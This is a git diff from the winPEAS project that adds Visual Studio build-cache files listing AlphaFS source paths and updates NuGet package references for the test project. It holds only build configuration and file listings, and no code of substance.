diff --git a/winPEAS/winPEASexe/Tests/.vs/winPEAS.Tests.csproj.dtbcache.json b/winPEAS/winPEASexe/Tests/.vs/winPEAS.Tests.csproj.dtbcache.json
new file mode 100644
index 0000000..41f5900
--- /dev/null
+++ b/winPEAS/winPEASexe/Tests/.vs/winPEAS.Tests.csproj.dtbcache.json
@@ -0,0 +1 @@
+{"RootPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\Tests","ProjectFileName":"winPEAS.Tests.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[],"References":[],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\Tests\\bin\\Debug\\Tests.dll","OutputItemRelativePath":"Tests.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
\ No newline at end of file
diff --git a/winPEAS/winPEASexe/Tests/App.config b/winPEAS/winPEASexe/Tests/App.config
index 88fa402..b041af8 100644
--- a/winPEAS/winPEASexe/Tests/App.config
+++ b/winPEAS/winPEASexe/Tests/App.config
@@ -1,6 +1,30 @@
-
+
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/winPEAS/winPEASexe/Tests/packages.config b/winPEAS/winPEASexe/Tests/packages.config
index fce08e4..edbbe48 100644
--- a/winPEAS/winPEASexe/Tests/packages.config
+++ b/winPEAS/winPEASexe/Tests/packages.config
@@ -1,7 +1,15 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj b/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj
index aa6e8bc..1f50cae 100644
--- a/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj
+++ b/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj
@@ -1,5 +1,6 @@
+
@@ -41,6 +42,15 @@
+
+ ..\packages\Portable.BouncyCastle.1.9.0\lib\net40\BouncyCastle.Crypto.dll
+
+
+ ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll
+
+
+ ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll
+
..\packages\Microsoft.CodeCoverage.16.10.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll
@@ -50,8 +60,21 @@
..\packages\MSTest.TestFramework.2.2.5\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll
+
+ ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll
+
+
+
+ ..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\lib\net451\System.Data.SQLite.dll
+
+
+ ..\packages\System.Data.SQLite.EF6.1.0.119.0\lib\net451\System.Data.SQLite.EF6.dll
+
+
+ ..\packages\System.Data.SQLite.Linq.1.0.119.0\lib\net451\System.Data.SQLite.Linq.dll
+
@@ -84,8 +107,13 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json b/winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json
new file mode 100644
index 0000000..42a8be3
--- /dev/null
+++ b/winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json
@@ -0,0 +1 @@
+{"RootPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS","ProjectFileName":"winPEAS.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"3rdParty\\AlphaFS\\Device\\ChangeErrorMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Device.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DeviceInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DiskSpaceInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DriveInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DefineDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DeleteDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DeleteVolumeMountPoint.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DiskFreeSpace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DriveType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumeMountPoints.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumePathNames.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetDriveFormat.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetDriveNameForNtDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetUniqueVolumeNameForPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeDisplayName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeGuid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeGuidForNtDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumePathName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsReady.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsSameVolume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsVolume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.QueryDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.SetVolumeMountPoint.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.VolumeLabel.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\VolumeInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\ByHandleFileInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveArguments.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveProgressRoutine.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveResult.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.CompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DecompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DisableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DisableCompressionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.EnableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.EnableCompressionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.Copy.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.CopyFolderTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.CopyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.Move.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.MoveTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.ValidateMoveAction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CompressDecompressCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CopyMoveCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CopyMoveDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CreateDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CreateJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteDirectoryNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteEmptySubdirectoriesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnableDisableEncryptionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EncryptDecryptDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnumerateFileIdBothDirectoryInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnumerateFileSystemEntryInfosCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.ExistsJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetDirectoryRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetParentCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetPropertiesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.IsEmptyCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.DisableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.EnableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.ExportEncryptedDirectoryRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.ImportEncryptedDirectoryRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateSymbolicLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateSymbolicLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.DeleteJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.DeleteJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.ExistsJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.ExistsJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.CopyTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.CopyTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CountFileSystemObjects.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CountFileSystemObjectsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CreateDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CreateDirectoryTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteEmptySubdirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteEmptySubdirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateAlternateDataStreamsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateDirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileIdBothDirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileIdBothDirectoryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFilesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntries.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntryInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntryInfosTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateLogicalDrives.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.Exists.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.ExistsDrive.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.ExistsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetCurrentDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoryRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoryRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileIdInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileInfoByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileInfoByHandleTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFilesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntries.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLinkTargetInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLogicalDrives.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetParent.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetParentTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetProperties.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetPropertiesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.HasInheritedPermissions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.IsEmpty.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.IsEmptyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.SetCurrentDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.DisableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.EnableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.CopyTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.CopyToMoveToCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.MoveTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.DisableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.EnableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.CreateJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.DeleteJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.ExistsJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CountFileSystemObjects.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CreateSubdirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CreateSubdirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.DeleteEmptySubdirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateFileSystemInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFileSystemInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.RefreshEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\AlreadyExistsException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DeviceNotReadyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DirectoryNotEmptyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DirectoryReadOnlyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\FileReadOnlyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\InvalidTransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\NotAReparsePointException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\NotSameDeviceException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionalConflictException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionAlreadyAbortedException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionAlreadyCommittedException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\UnrecognizedReparsePointException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\UnsupportedRemoteTransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File 